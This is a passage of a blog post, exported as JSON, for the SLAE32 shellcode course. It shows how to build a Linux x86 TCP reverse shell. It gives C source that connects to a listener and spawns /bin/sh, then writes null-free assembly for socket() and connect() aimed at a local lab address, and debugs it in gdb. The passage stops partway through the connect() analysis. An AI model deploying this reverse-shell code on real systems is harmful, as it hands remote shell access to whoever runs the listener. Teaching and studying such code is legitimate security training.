{"id":276,"date":"2022-05-15T20:52:35","date_gmt":"2022-05-15T20:52:35","guid":{"rendered":"https:\/\/jacklgmcbride.co.uk\/blog\/?p=276"},"modified":"2023-10-06T13:39:30","modified_gmt":"2023-10-06T13:39:30","slug":"slae32-assignment-2-linux-x86-tcp-reverse-shell","status":"publish","type":"post","link":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/2022\/05\/15\/slae32-assignment-2-linux-x86-tcp-reverse-shell\/","title":{"rendered":"SLAE32 Assignment #2: Linux x86 TCP Reverse Shell"},"content":{"rendered":"\n<p>In this blog post, we will be covering the process behind writing and analysing an x86 TCP reverse shell for Linux in assembly.<\/p>\n\n\n\n<p>This post follows on in the series of posts created for the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SLAE32<\/a> certification course provided by Pentester Academy.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Overview<\/h2>\n\n\n\n<p>The code for the TCP reverse shell will consist of the following components:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Linux x86 TCP reverse shell shellcode, written in Assembly.<\/li>\n\n\n\n<li>Shellcode skeleton code, written in C.<\/li>\n\n\n\n<li>Wrapper script for customising the listener address and port, written in Python.<\/li>\n<\/ul>\n\n\n\n<p>We will begin by analysing a simple example of an x86 Linux TCP reverse shell written in C taken from the following <a href=\"https:\/\/azeria-labs.com\/tcp-reverse-shell-in-assembly-arm-32-bit\/\">blog post<\/a>:<\/p>\n\n\n\n<p>To make matters simpler, we have modified the below code and set the connect-back port to 4444.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys\/socket.h&gt;\n#include &lt;netinet\/in.h&gt;\n\nint main(void)\n{\n int sockfd; \/\/ socket file descriptor\n socklen_t socklen; \/\/ socket-length for new connections\n\n struct sockaddr_in addr; \/\/ client address\n\n addr.sin_family = AF_INET; \/\/ server socket type address family = internet protocol address\n addr.sin_port = htons(4444); \/\/ connect-back port, converted to network byte order\n addr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); \/\/ connect-back ip , converted to network byte order\n\n \/\/ create new TCP socket\n sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );\n\n \/\/ connect socket\n connect(sockfd, (struct sockaddr *)&amp;addr, sizeof(addr));\n\n \/\/  Duplicate file descriptors for STDIN, STDOUT and STDERR\n dup2(sockfd, 0);\n dup2(sockfd, 1);\n dup2(sockfd, 2);\n\n \/\/ spawn shell\n execve( &quot;\/bin\/sh&quot;, NULL, NULL );\n}\n<\/pre><\/div>\n\n\n<p>We compile the code with gcc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngcc -fno-stack-protector -z execstack example.c -o example\n<\/pre><\/div>\n\n\n<p>To make sure the code does what we expect, we briefly run it with netcat listening on port 4444:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422220624.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We execute the program and receive a reverse shell connection back to our listener:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422220908.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">TCP reverse shell syscalls<\/h3>\n\n\n\n<p>Analysing the C code, we note that there are four main syscalls that are performed to initiate the TCP reverse shell. The syscalls are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>socket()<\/li>\n\n\n\n<li>connect()<\/li>\n\n\n\n<li>dup2()<\/li>\n\n\n\n<li>execve()<\/li>\n<\/ul>\n\n\n\n<p>We will cover each of these syscalls by studying their arguments and calling conventions, beginning with an analysis of the call to <strong>socket()<\/strong> in assembly.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Creating a socket<\/h3>\n\n\n\n<p>The <strong>socket()<\/strong> call is used to create an endpoint for communication. A successful call to <strong>socket()<\/strong> returns a file descriptor which refers to the created socket endpoint.<\/p>\n\n\n\n<p>According to the system call reference file stored in 32-bit Linux at \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.sh, the syscall number for socketcall is 102.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419122207.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>If we look at the man page for socketcall, we note that the syscall takes two parameters and has the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint socketcall(int call, unsigned long *args);\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419122959.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>First, we look at the call parameter. The implementation of sockets in linux can be found in the \/usr\/include\/linux\/net.h header file.<\/p>\n\n\n\n<p>Within this file, we find that to call the <strong>socket<\/strong> function, call must have a value of 1.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419124414.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>To understand further how a socket is defined, we can refer to its <code>man<\/code> page:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419123827.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>According to the above man page entry, the socket function header is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint socket(int domain, int type, int protocol);\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">socket() arguments<\/h3>\n\n\n\n<p>Next, we look at each of the parameters to the <strong>socket()<\/strong> function.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">domain<\/h4>\n\n\n\n<p>The <strong>domain<\/strong> argument denotes the protocol family which will be used for communication. In our case, as we are looking to establish a connection over the IPv4 protocol, this value will be set to <strong>AF_INET<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419124040.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We can find the corresponding numerical value of AF_INET in locally stored header files. For the version of 32-bit Kali Linux we are working with, the reference to AF_INET can be located in \/usr\/include\/i386-linux-gnu\/bits\/socket.h.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420193916.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">type<\/h4>\n\n\n\n<p>The next argument is the type of socket. As we are setting up a TCP bind shell, we should use the SOCK_STREAM option, which is defined as being 'sequenced, reliable and connection-based' (i.e. TCP).<\/p>\n\n\n\n<p>Based on its definition in \/usr\/include\/i386-linux-gnu\/bits\/socket_type.h, <strong>type<\/strong> should be set to <strong>1<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420194032.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">protocol<\/h4>\n\n\n\n<p>The final argument, <strong>protocol<\/strong> value can be set to its default value of <strong>0<\/strong>.<\/p>\n\n\n\n<p>Looking at the C source code, we note that <strong>IPPROTO_IP<\/strong> is provided as the protocol.<\/p>\n\n\n\n<p>Doing a quick grep on this returns to us the contents of <code>\/usr\/include\/linux\/in.h<\/code>, which indicates it is mapped to the value <strong>0<\/strong>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngrep -rnw '\/usr\/include\/linux' -e 'IPPROTO_IP'                               \n\/usr\/include\/linux\/bpf.h:1512: *                * **IPPROTO_IP**, which supports *optname* **IP_TOS**.\n\/usr\/include\/linux\/bpf.h:1713: *                * **IPPROTO_IP**, which supports *optname* **IP_TOS**.\n\/usr\/include\/linux\/in.h:29:  IPPROTO_IP = 0,            \/* Dummy protocol for TCP              *\/\n\/usr\/include\/linux\/in.h:30:#define IPPROTO_IP           IPPROTO_IP\n\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">socket() argument structure<\/h3>\n\n\n\n<p>A breakdown of the arguments to <strong>socket()<\/strong> is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><th>C Code Reference<\/th><\/tr><\/thead><tbody><tr><td>socket<\/td><td>domain<\/td><td>The protocol family which will be used for communication<\/td><td>PF_INET<\/td><\/tr><tr><td>socket<\/td><td>type<\/td><td>Specifies the communication semantics<\/td><td>SOCK_STREAM<\/td><\/tr><tr><td>socket<\/td><td>protocol<\/td><td>Specifies a particular protocol to be used with the socket<\/td><td>IPPROTO_IP<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Now that we know the initial values to create a socket, we can implement this in assembly.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Calling socket()<\/h3>\n\n\n\n<p>By default, a syscall in 32-bit Linux will use the registers as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>EAX<\/strong> - Syscall Number<\/li>\n\n\n\n<li><strong>EBX<\/strong> - 1st Argument<\/li>\n\n\n\n<li><strong>ECX<\/strong> - 2nd Argument<\/li>\n\n\n\n<li><strong>EDX<\/strong> - 3rd Argument<\/li>\n\n\n\n<li><strong>ESI<\/strong> - 4th Argument<\/li>\n\n\n\n<li><strong>EDI<\/strong> - 5th Argument<\/li>\n<\/ul>\n\n\n\n<p>In case of our system call to <strong>socketcall()<\/strong>, our register values will be as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>EAX<\/strong> - system call number (102)<\/li>\n\n\n\n<li><strong>EBX<\/strong> - call - socket (1)<\/li>\n\n\n\n<li><strong>ECX<\/strong> - *args - a pointer to the domain, type and arguments<\/li>\n<\/ul>\n\n\n\n<p>As <strong>ECX<\/strong> must contain a pointer to our <strong>socket()<\/strong> arguments, we can push them onto the stack in reverse order, and set ECX to the top of the stack where the arguments start:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>domain - PF_INET - 2<\/li>\n\n\n\n<li>type - SOCK_STREAM - 1<\/li>\n\n\n\n<li>protocol - IPPROTO_IP - 0<\/li>\n<\/ul>\n\n\n\n<p>The overall argument structure for calling socket will follow the below layout.<\/p>\n\n\n\n<p><strong>Note:<\/strong> decimal values have been converted into their hexadecimal equivalents, e.g. the syscall value 102 = 0x66.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>syscall<\/td><td>0x66<\/td><\/tr><tr><td>socketcall<\/td><td>call<\/td><td>0x1<\/td><\/tr><tr><td>socket<\/td><td>domain<\/td><td>0x2<\/td><\/tr><tr><td>socket<\/td><td>type<\/td><td>0x1<\/td><\/tr><tr><td>socket<\/td><td>protocol<\/td><td>0x0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">socket() assembly code<\/h3>\n\n\n\n<p>The assembly code for the <strong>socket()<\/strong> function is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n_socket:\n\n        ; Clear EAX register and set al to syscall number 102 in hex.\n        xor eax, eax\n        mov al, 0x66 \n\n        ; Clear EBX register and set bl to 0x1 for socket.\n        xor ebx, ebx\n        mov bl, 0x1\n\n        ; Clear ECX register and push values for protocol, type and domain to the stack\n        xor ecx, ecx\n        push ecx;       protocol - IPPROTO_IP (0x00000000)\n        push 0x1;       type - 1 (0x1)\n        push 0x2;       domain - PF_INET (0x2)\n\n        ; set ECX to the top of the stack to point to args\n        mov ecx, esp\n\n        ; Execute socket() syscall\n        int 0x80\n<\/pre><\/div>\n\n\n<p>We can now link and compile the program using nasm and ld as follows:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422224747.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">socket() analysis<\/h3>\n\n\n\n<p>To understand the assembly code on a per-instruction basis and debug the compiled program, we can use <a href=\"https:\/\/www.sourceware.org\/gdb\/\">gdb<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422225228.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As we step through the program, it helps to print out the registers, stack and disassembled instructions to keep track of where we are in the program. We can do this by defining <em>hook-stop<\/em>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n(gdb) define hook-stop\nType commands for definition of &quot;hook-stop&quot;.\nEnd with a line saying just &quot;end&quot;.\n&gt;print\/x $eax\n&gt;print\/x $ebx\n&gt;print\/x $ecx\n&gt;print\/x $edx\n&gt;x\/4xw $esp\n&gt;disassemble 0x8049000\n&gt;end\n<\/pre><\/div>\n\n\n<p>Now, every time we step through the program, the values of our specified registers are printed along with the top four stack values and the disassembled assembly instructions.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422225644.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We can trace the program flow right up until the syscall to <strong>socket()<\/strong> is made, so that we ensure that the arguments are aligned correctly in the required registers and on the stack.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420200152.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We reach the end of the function and find that <strong>EAX<\/strong> has been populated with the value of the socket descriptor, <strong>0x3<\/strong>. This indicates a successful call to <strong>socket()<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420200318.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Connecting to the socket<\/h3>\n\n\n\n<p>Next, we look at the call that's made to <strong>connect()<\/strong>. Based on the man page, this system call connects the socket referenced by the provided socket descriptor to the address specified by addr.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422230816.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>connect()<\/strong> function has the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\n<\/pre><\/div>\n\n\n<p>Before we get into the arguments for the <strong>connect()<\/strong> function, we note that the argument of <strong>socketcall()<\/strong> will now be set to the value for <strong>connect()<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220422234139.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We consult the \/usr\/include\/linux\/net.h file and note that <strong>connect()<\/strong> has a call value of <strong>3<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425195140.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">connect() arguments<\/h3>\n\n\n\n<p>Next, we look at each of the parameters to the <strong>connect()<\/strong> function.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">sockfd<\/h4>\n\n\n\n<p>The&nbsp;<strong>sockfd<\/strong>&nbsp;parameter is the file descriptor of the socket. This value was returned following a successful call to the&nbsp;<strong>socket()<\/strong>&nbsp;function and, following the syscall, is stored in the EAX register.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420200318.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">addr<\/h4>\n\n\n\n<p>The&nbsp;<strong>addr<\/strong>&nbsp;parameter is a pointer to the desired&nbsp;<strong>family<\/strong>,&nbsp;<strong>port<\/strong>&nbsp;and&nbsp;<strong>address<\/strong>&nbsp;properties of our socket.<\/p>\n\n\n\n<p>Referring to the C example source code, we note that the <strong>sockaddr<\/strong> structure is referenced by the <em>addr<\/em> value.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\naddr.sin_family = AF_INET; \/\/ server socket type address family = internet protocol address\n addr.sin_port = htons( 1337 ); \/\/ connect-back port, converted to network byte order\n addr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); \/\/ connect-back ip , converted to network byte order\n\n \/\/ create new TCP socket\n sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );\n\n \/\/ connect socket\n connect(sockfd, (struct sockaddr *)&amp;addr, sizeof(addr));\n<\/pre><\/div>\n\n\n<p>As we already know that sockfd refers to the file descriptor, we next look up the definition of sockaddr in socket.h:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\n\/* Structure describing a generic socket address.  *\/\nstruct sockaddr\n{\n    __SOCKADDR_COMMON (sa_);    \/* Common data: address family and length.  *\/\n     char sa_data&#x5B;14];           \/* Address data.  *\/\n};\n<\/pre><\/div>\n\n\n<p>To understand how the sa_data char array (sockaddr_in) is structured, we can refer to its definition in \/usr\/include\/linux\/in.h:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nstruct sockaddr_in {\n  __kernel_sa_family_t  sin_family;     \/* Address family               *\/\n  __be16                sin_port;       \/* Port number                  *\/\n  struct in_addr        sin_addr;       \/* Internet address             *\/\n\n  \/* Pad to size of `struct sockaddr'. *\/\n  unsigned char         __pad&#x5B;__SOCK_SIZE__ - sizeof(short int) -\n                        sizeof(unsigned short int) - sizeof(struct in_addr)];\n};\n<\/pre><\/div>\n\n\n<p>According to the above definition, sockaddr_in has the following properties:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>sin_family - Address family<\/li>\n\n\n\n<li>sin_port - TCP port<\/li>\n\n\n\n<li>sin_address - IPv4 address<\/li>\n<\/ul>\n\n\n\n<p>For the purpose of initially simplifying our shellcode, we will set the <strong>port<\/strong> value to <strong>4444<\/strong>, with the address set to our local Kali address of <strong>192.168.105.151<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">addrlen<\/h4>\n\n\n\n<p>The <strong>addrlen<\/strong> argument specifies the size of the address structure pointed to by <em>addr<\/em> in bytes. This will be 16 (0x10).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">connect() argument structure<\/h3>\n\n\n\n<p>A breakdown of the arguments to <strong>connect()<\/strong> is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><th>C Code Reference<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Syscall number<\/td><td>-<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Syscall arguments<\/td><td>-<\/td><\/tr><tr><td>connect<\/td><td>sockfd<\/td><td>Socket file descriptor<\/td><td>host_sockid<\/td><\/tr><tr><td>connect<\/td><td>addr<\/td><td>Socket address family, host IP address and port<\/td><td>&amp;hostaddr<\/td><\/tr><tr><td>connect<\/td><td>addrlen<\/td><td>Size in bytes of addr<\/td><td>sizeof(hostaddr)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>To understand how to convert our IPv4 address into the format expected by sin_addr, we can review the man page of <strong>inet_addr<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425205137.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>In the man page, we see that a function <strong>inet_aton()<\/strong> is used to convert the given IP address to binary form in network byte order.<\/p>\n\n\n\n<p>We can do the same in Python3 using the below code, giving us the value <strong>0x9769a8c0<\/strong> for our given IP address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; value = socket.inet_aton(&quot;192.168.105.151&quot;).hex()\n&gt;&gt;&gt; little_hex = bytearray.fromhex(value)\n&gt;&gt;&gt; little_hex.reverse()\n&gt;&gt;&gt; str_little = ''.join(format(x, '02x') for x in little_hex)\n&gt;&gt;&gt; print(str_little)\n9769a8c0\n&gt;&gt;&gt;\n<\/pre><\/div>\n\n\n<p>Following this, the values pointed to by addr (sockaddr_in) are as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Struct<\/th><th>Argument<\/th><th>Man Reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>sockaddr_in<\/td><td>sin_family<\/td><td>Address family<\/td><td>0x2<\/td><\/tr><tr><td>sockaddr_in<\/td><td>sin_port<\/td><td>TCP port to listen on in network byte order<\/td><td>0x5c11<\/td><\/tr><tr><td>sockaddr_in<\/td><td>sin_addr<\/td><td>Host IP address in network byte order<\/td><td>0x9769a8c0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>In order to avoid pushing null values on the stack, we can instead <strong>XOR<\/strong> the host address value with <strong>0xffffffff<\/strong>, move that resulting value into a register, and XOR that register again with <strong>0xffffffff<\/strong> to get the original value. This will prevent us from pushing null bytes in the event that our host address contains zeroes.<\/p>\n\n\n\n<p>Below, we indicate how this behaviour works using Python. Initially, we set a to our original hex string of the host address, and XOR it with 0xffffffff to get a string which does not contain any null bytes. We then recover the original value by XORing it with 0xffffffff again.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; a = 0x9769a8c0\n&gt;&gt;&gt; b = 0xffffffff\n&gt;&gt;&gt; c = hex(a ^ b)\n&gt;&gt;&gt; print(c)\n0x6896573f\n&gt;&gt;&gt; print(hex(c ^ 0xffffffff))\n0x9769a8c0\n<\/pre><\/div>\n\n\n<p>With the above in mind, we will push our XOR'd host address, <strong>0x6896573f<\/strong> to the stack.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Calling connect()<\/h3>\n\n\n\n<p>In case of our system call to <strong>socketcall()<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>EAX<\/strong> - system call number (102)<\/li>\n\n\n\n<li><strong>EBX<\/strong> - call argument - connect (3)<\/li>\n\n\n\n<li><strong>ECX<\/strong> - *args - connect arguments<\/li>\n<\/ul>\n\n\n\n<p>To begin, we must push the elements of the sockaddr_in structure to the stack in reverse order, starting with sin_addr.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>sockfd - Stored in EAX after call to <strong>socket()<\/strong>. We will save this value by moving it to the EDX register.<\/li>\n\n\n\n<li>addr - We will store this value in the ESI register.\n<ul class=\"wp-block-list\">\n<li>sin_family - AF_INET (2)<\/li>\n\n\n\n<li>sin_port - 4444 (0x5c11)<\/li>\n\n\n\n<li>sin_addr - 192.168.105.151 (0x6896573f)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>addrlen = 16 (0x10)<\/li>\n<\/ul>\n\n\n\n<p>The overall argument structure for calling <strong>connect()<\/strong> will be as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>argument<\/th><th>Description<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>syscall number<\/td><td>syscall value for socketcall<\/td><td>0x66<\/td><\/tr><tr><td>socketcall<\/td><td>call<\/td><td>socketcall value for bind<\/td><td>0x2<\/td><\/tr><tr><td>connect<\/td><td>sockfd<\/td><td>socket file descriptor<\/td><td>0x3<\/td><\/tr><tr><td>connect<\/td><td>addr<\/td><td>sockaddr_in structure<\/td><td>2, 0x5c11, 0x6896573f<\/td><\/tr><tr><td>connect<\/td><td>addrlen<\/td><td>Length of addr in bytes<\/td><td>0x10<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">connect() assembly code<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n_connect:\n\n        ; Clear EDX register and save the sockfd value returned from socket()\n        xor edx, edx\n        mov edx, eax\n\n        ; Clear EAX register and set al to syscall number 102 in hex.\n        xor eax, eax\n        mov al, 0x66\n\n        ; clear EBX register and set bl to 0x3 for connect.\n        xor ebx, ebx\n        mov ebx, 0x3\n\n        ; Clear EDI register and push value for IP address.\n        xor edi, edi\n        mov edi, 0x6896573f\n        ; XOR EDI to get original IP address hex value whilst avoiding null bytes.\n        xor edi, 0xffffffff\n\n        ; Clear ECX register and push IP address\n        xor ecx, ecx\n        push edi;               sin_addr - 192.168.105.151 (0x6896573f)\n        push word 0x5c11;       sin_port - 4444 (0x5c11)\n        push word 0x2;          sin_family - AF_INET (2)\n\n        ; Save pointer to sockaddr to ESI register\n        mov esi, esp\n\n        push 0x10;              addrlen - 16 (0x10)\n        push esi;               addr\n        push edx;               sockfd\n\n        ; Set ECX to stop of stack for syscall arguments *args\n        mov ecx, esp\n\n        ; Execute connect() syscall\n        int 0x80\n<\/pre><\/div>\n\n\n<h4 class=\"wp-block-heading\">connect() analysis<\/h4>\n\n\n\n<p>We can now step through our implementation of <strong>connect()<\/strong> using gdb.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425215241.png\" 